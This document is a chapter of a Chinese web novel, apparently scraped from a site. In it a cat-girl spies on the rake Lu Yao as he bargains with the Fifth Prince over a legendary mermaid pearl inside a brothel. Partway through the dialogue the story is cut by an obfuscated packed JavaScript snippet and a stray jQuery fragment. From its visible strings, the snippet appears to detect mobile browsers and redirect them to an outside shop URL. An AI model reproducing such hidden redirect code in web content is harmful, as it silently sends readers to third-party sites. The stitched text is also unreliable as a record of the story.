张安澜一路狂奔,绕过扑朔迷离宛若迷宫的竹林,终于在小溪水处看到了陆尧的身影。
她不紧不慢隔了点距离悄声跟着,越过小溪,翻过山丘,出了尚书府,来到街市上。
市集上人来人往,她弱小的身子时不时在人们脚下穿梭。实在受不了这闹腾繁复的人群,只能顺着街边的柱子往上爬去。
到了屋顶上,她居高临下看去,在熙攘的人群里再次寻到陆尧的身影,撒开小短腿一刻不歇地沿人流追上去。
日光高照,暖风轻拂。
不一会,她跑到了一拐角处,熟悉的甜腻味扑鼻而来。忙停步掩鼻朝下看去,只见颜色纷乱的女子在下面酥手摇摇,陆尧转眼间没入了这片女子间,走进高楼里。
“那是……”张安澜愣神,即使她字识得不多,不会诗词歌赋,但巷尾赫赫有名的“春风楼”早有所耳闻。
没想到,每日这陆尧出去都是到这寻欢作乐的!是啊,与这陆尧相处几日,她差点被迷惑得忘了,这家伙可是安城里劣迹斑斑的风流纨绔!
她握紧小黑爪子,按捺不住好奇心,顺着阴暗处滑下屋顶随后也钻进了春风楼。她转动眼珠子在人群里来回穿梭,最终再次找到陆尧,偷摸跟着他匍匐爬进尽头一间厢房里,躲于暗处。
透过罅隙,她看到陆尧左右围着四名女子,一人斟酒,一人抚琴,一人跳舞,一人吟诗。柳腰盈盈,清酒盈樽,云袂花衫,步步生莲。
陆尧张扬着笑容,左拥右抱,比周边高出一截的美貌倒不像他占女子便宜。反而他那艳丽多情的眼角勾魂摄魄,惹得女子连连惊呼,时不时柔弱倾倒在身上。
真下作!青天白日之下,居然行此伤风败俗之事!张安澜翻个白眼,气得吐了一口水,在暗处坐立难安,闭上眼不敢看眼前来回晃悠的柔白肌肤。
早知如此,她来此受这罪干什么?!她低声喵呜骂骂咧咧,刚想转身离去,厢房的门“哐当”一下打开。
谁?张安澜屏住呼吸看去。
来人一袭月牙色提花麟纹长袍,眸若朗星,气质出尘。再定睛一看,这笑容灿烂若晨阳的男子不是那五殿下,还是谁?!
五殿下?张安澜瞳仁放大,心道奇怪:陆尧这家伙,和五殿下怎会有交集?那黎若筠又是......她歪着脑袋想不明白,继续从罅隙里窥看。
“安城的陆公子,倒是有好兴致。”楚星躔不客气地坐在陆尧对面,好整以暇地看着他。
“你迟到了。”陆尧身形慵懒地半靠着,挑眉看了眼楚星躔,指着桌上的酒壶道,“近日我得了壶冰泉寒露,以冰寒之气酿制而成,最适合这夏日饮用。给这公子倒一杯尝尝。”
“是。”一旁的黄衣女子听之忙起身给楚星躔斟酒。
楚星躔笑着接过,小口啜饮,清透醇香的酒水顺喉而下,滋味清爽绵长,让人不住点头:“好酒,果真好酒!”
“既然你人已来了,酒也尝了,我地主之谊已然尽到。”陆尧语气散漫,“说吧,五殿下究竟找我何事?我说过,我只为你做一件事。这件事过后,我们交情断绝,再无瓜葛。”
“我知晓。”楚星躔点头,眼盯着周围的女子,犹豫没有开口。
陆尧眼睛眯笑,扬手拍掌,在桌上扔下几锭银子:“各位佳人对不住了,我今日有贵客,请各自离去吧。”
话落音,四名女子垂手行礼,取了银子有序退下,将门带紧。
“说吧,不敢再有人打扰我们。”陆尧笑着晃悠着酒杯,眼神悠悠地落在楚星躔身上。
“哼,也只有你敢对我如此无礼。”楚星躔笑着,笑意却不达眼底,“陆尧,吾知你爱搜集天下的奇珍异宝。近日又得了玲珑阁阁主的青睐,是玲珑阁的座上宾。”
“座上宾又如何?”陆尧同楚星躔一般笑着,“不过是民间的声誉,哪能和锦衣玉食的五殿下相比?”
脑袋仁小的张安澜看着这两人眉来眼去,神情相接、火光四射的模样,一时间辩不清他们之间的关系:他们朋友还是......敌人?
“吾要寻找......”楚星躔收敛笑容,沉声道,“鲛珠。”
“鲛珠?鲛人之珠?”陆尧终于正视楚星躔,“‘南海之外有鲛人,水居于鱼,不废织绩。其眼泣,则能出珠’(出自《搜神记》)。”
“非也,吾要的不是鲛人泣泪的珠,而是。”楚星躔漆黑的眸子里涌动着疯狂的神色,勾唇道,“而是它身体中的那唯一一颗明珠。”
“五殿下,口气可不不小啊。”陆尧嗤笑道,“且不说世人从未见过鲛人一物,再说这鲛珠,若我拿一个透明珠子给你,你又如何辨认真假?”
“能否办到?”
“五殿下,我可没那么大的能耐。”陆尧展颜一笑,“这传说中的东西论谁也没法找到。何况我无权无势,无官无职,这鲛珠我实在无能为力......”
“入我府,许高官。”
“官又有何用?不若我现在闲云野鹤自由自在,无所约束。”
“事成之后,许你黄金千两。”
“钱又有何用?对我来说,不过是身外之物。”
什么?!黄金都不要,陆尧这家伙有什么毛病?!你不要我要啊!暗处的张安澜听着陆尧那“高风亮节”的屁话,气得牙痒痒:臭陆尧!有钱不要王八蛋!
“陆尧,你究竟想如何?!”楚星躔脸上天真无邪的笑容再也维持不住,露出狰狞的底色,大步流星走到陆尧身前,死死拎住其衣领,咬牙切齿道,“陆尧,吾忍你很久了!行事无规无矩,一介庶民,竟敢对本殿下无礼,当以死罪处之!”
陆尧面色如常,氤氲笑意的眉眼深邃如幽潭,让人看一眼似要沉溺其中。他直视咫尺间的楚星躔,轻启薄唇不慌不忙道:“五殿下,求人办事要有求人的态度。我并非真正欠你什么东西,你拿那莫须有的东西来找我,我哪里有那么大的本事?”
“你!”楚星躔面色黑沉,心情烦躁。明明他才是有权有势的皇子,明明他才是威胁别人的主!怎么到了陆尧这,却憋得他一个字都说不出来。
“五殿下,我视金钱权利如浮云,却偏爱那美人骨。”陆尧压住楚星躔的手,反而站立起来,凑近楚星躔的面庞,只手挑起他的下巴,气魅含丝道,“我看五殿下风神秀逸,姿容绝伦,不若五殿下以身相许,我倒是可以考虑考虑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410336|200661||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
殿下说的事情。”
什么鬼?!救命!这陆尧,他他他男女通吃!张安澜看着这两人“亲密无间”、“呼吸交缠”的动作,睁大眼睛只觉三观尽碎,六感崩塌,低声喵呜道:“老天爷,救命!我,我眼睛不干净了!呜呜呜。”
她用爪子捂眼,内心疯狂交战:这两个男的共处一室拉拉扯扯,成何体统!
即便内心喧嚣不止,她终究控制不住好奇心挪动身子再往外瞧去。
楚星躔盯着肌肤若雪的陆尧,看到那寒星般的眸子流转着光华,孤傲中带着一丝魅惑,揪住陆尧衣领的手紧了又紧。他平生第一次以这样羞耻的姿势被男子侮辱!他从未想过此人不受威胁,竟然反客为主、居高临下地挑逗他。
“陆尧你个混蛋!”楚星躔牙齿都快咬碎,另一只手抡拳砸向陆尧。
陆尧迅速侧身躲避,压住楚星躔的肩膀翻跃而起,一把捞过楚星躔的腰。
楚星躔一时脱力,直接摔倒在陆尧怀里。
“哟,五殿下,这么着急投怀送抱?”陆尧嬉笑道。
“滚!本殿下可没有断袖的癖好!”楚星躔怒发冲冠,气得又一拳抡过去。
陆尧身形一晃,早已轻盈坐回了桌边,端起一杯酒缓缓摇动着,笑道:“五殿下,我不过开一个玩笑,你又何必如此大动肝火?”
“你!”楚星躔看到陆尧云淡风轻的模样,只觉一口火气憋在心头,出不来,下不去。若他此时还动武,又显得自己过于较真小气。
“五殿下,不知要这鲛珠有何用?”陆尧一口饮尽杯中酒,复而半靠在椅子上。
“无可奉告!”楚星躔冷哼,握紧自己双拳放低声音道,“陆尧,你究竟帮不帮这个忙?!”
“既然五殿下无可奉告,那我自当量力而为。”陆尧眯起双眸,目光散漫。
“你最好量力而为!”楚星躔放下重话,拂袖摔门而去。
黎若筠那不长眼的居然推荐他来找陆尧这混蛋!什么玲珑阁的座上宾?!楚星躔心里窝火,想到陆尧敛尽霞雾的眸子、嫣红带笑的唇角、肤如凝脂的面庞,心里生出微不可察的悸动,就像石子落入清水中,荡起一圈又一圈微弱的涟漪。
楚星躔愣神,忽而意识到什么,心里火气翻腾,气得一拳砸向旁边的木柱子,怒骂道:“混蛋!混蛋!”
听到门外激烈的震响,陆尧抿嘴一笑,摇头垂眼道,“啧,一只披着兔子皮的狼......”
呼,那五殿下终于走了。张安澜转动自己圆润的眼珠子,再瞅了眼不远处悠然自得的陆尧,心想:赶紧回去。万一被这家伙发现自己跑出来,谁知又会......
“唉?不对,我已经出来了,为什么还要回去?”她心思急转,“回去干什么?我可不想和这男女通吃的家伙呆在一起,太晦气了!”
她偷偷挪动身子往窗户边靠,匍匐身子晃动尾巴,飞身一跃。
谁曾想,身子却瞬间停滞在半空中。
怎么,怎么回事?!张安澜心道不妙,耷拉耳朵缓缓抬头,正巧看到陆尧似笑非笑地看着她,看得她浑身发颤,尾巴狂甩。
“乌坠,戏看够了要去哪?!”